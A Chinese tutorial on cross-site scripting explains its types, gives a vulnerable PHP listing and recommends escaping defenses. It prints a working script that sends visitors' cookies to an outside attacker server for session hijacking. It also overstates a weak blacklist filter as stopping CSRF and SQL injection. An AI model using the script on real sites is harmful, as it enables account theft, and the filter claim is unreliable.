本文主要选择常见web攻击手段之一的XSS(跨站点脚本攻击)来进行讲解,说明其攻击原理,并提出相应的解决办法。
XSS
XSS 攻击,全称是“跨站点脚本攻击”(Cross Site Scripting),之所以缩写为 XSS,主要是为了和“层叠样式表”(Cascading Style Sheets,CSS)区别开,以免混淆。
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其他用户使用的页面中。XSS是针对Web站点的客户隐私的攻击,当客户详细信息失窃或受控时可能引发彻底的安全威胁。大部分网站攻击只涉及两个群体:黑客和 Web 站点,或者黑客和客户端受害者。与那些攻击不同的是,XSS 攻击同时涉及三个群体:黑客、客户端和 Web 站点。XSS攻击的目的是盗走客户端 cookies,或者任何可以用于在 Web 站点确定客户身份的其他敏感信息。手边有了合法用户的标记,黑客可以继续扮演用户与站点交互,从而冒充用户。
举例来说,可以利用 XSS 攻击窥视用户的信用卡号码和私有信息。通过利用 Web 站点的访问特权,在受害者(客户端)浏览器上运行恶意的JavaScript代码来实现。这些是非常有限的JavaScript特权,除了与站点相关的信息,一般不允许脚本访问其他任何内容。重点强调的是,虽然 Web 站点上存在安全漏洞,但是 Web 站点从未受到直接伤害。但是这已经足够让脚本收集 cookies,并且将它们发送给黑客。
跨站脚本攻击有两种攻击形式:
1. 反射型跨站脚本攻击
攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
2. 存储型跨站脚本攻击
攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。
3. DOM跨站攻击
由于html页面中,定义了一段JS,根据用户的输入,显示一段html代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。
DOM跨站和以上两个跨站攻击的差别是,DOM跨站是纯页面脚本的输出,只有规范使用javascript,才可以防御。
原理
读到这里,相信大家对XSS的概率已经有了一定的理解,下面我们通过举例来说说攻击的原理。
如果下面是我们网站的一段PHP代码:
<tr>
<td><?=$row["id"] ?></td>
<td><?=$row["pname"]?></td>
<td><?=$row["pdesc"]?></td>
<td><?=$row["ptype"]?></td>
</tr>
那么攻击者可以在添加产品时插入恶意脚本:
攻击者发布产品后,等待用户浏览产品列表页面,用户浏览页面如下:
就会执行攻击者写的inbreak.NET/a.js恶意脚本。脚本内容如下:
a=document.createElement("iframe");
function b(){e=escape(document.cookie);
c=["http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie=",e,Math.random()];
document.body.appendChild(a);a.src=c.join();}
setTimeout('b()',5000);
其功能是获取当前浏览者的cookie,并发送到a.php,用户的cookie已经就会到攻击者的服务器上。攻击者利用浏览器插件,将自己的cookie替换成刚刚获取的用户的cookie,就可以狸猫换太子的冒充用户了。
防御
原理说清楚了,再来谈谈如何防御吧。
最基本的防御就是对用户的输入进行转义,例如 <script type='text/javascript'>alert('hello world')</script>
如果直接保存这个字符串的话,然后再输出的话,就会运行JS了。
我们需要将这个字符串转义成
"<script type='text/javascript'>alert('hello world')</script>"
有些语言自带的就有一些函数来实现转义的功能。
比如php中,提供了 htmlspecialchars() 函数可以将HTML 特殊字符转化成在网页上显示的字符实体编码。这样即使用户输入了各种HTML 标记,在读回到浏览器时,会直接显示这些HTML 标记,而不是解释执行。
这里举一个例子:
<b> 欢迎:<?= $welcome_msg?></b>
攻击者输入:
<script>evil_script()</script>
结果为:
<b>欢迎:<script>evil_script()</script></b>
分析可以得知,在HTML 正文背景下,< > 字符会引入HTML 标记,& 可能会认为字符实体编码的开始,所以需要将< > & 转义。为简洁起见,直接使用 htmlspecialchars() 将5 种HTML 特殊字符转义,如:
<b>欢迎:<?= htmlspecialchars($welcome_msg, ENT_NOQUOTES)?></b>
其中ENT_NOQUOTES的意思是不对单引号和双引号进行编码。
而其他语言,比如.net,则有微软提供的类库AntiXSS,它的实现原理是白名单机制。使用起来也很简单,就是通过AntiXss.GetSafeHtmlFragment(html)
方法,来替换掉html里的危险字符。代码如下:
var html = "<a href=\"#\" onclick=\"alert();\">aaaaaaaaa</a>javascript<P><IMG SRC=javascript:alert('XSS')><javascript>alert('a')</javascript><IMG src=\"abc.jpg\"><IMG><P>Test</P>";
string safeHtml = AntiXss.GetSafeHtmlFragment(html);
Console.WriteLine(safeHtml);
上面的危险内容会被成功替换为:
<a href="">aaaaaaaaa</a>javascript
<p><img src="">alert('a')<img src="abc.jpg"><img></p>
<p>Test</p>
同样的,在Java中,也可以通过引入第三方的jar包,来避免XSS攻击,比如commons-lang-2.5.jar。
即使不使用自带的方法或者第三方库,我们还可以通过自己编写方法来实现转义。
private String cleanXSS(String value) {
value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
value = value.replaceAll("'", "& #39;");
value = value.replaceAll("eval\\((.*)\\)", "");
value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
value = value.replaceAll("script", "");
return value;
}
这种自定义函数过滤器的方法,不仅仅防御XSS攻击,还可以防御CSRF攻击和SQL注入等安全问题。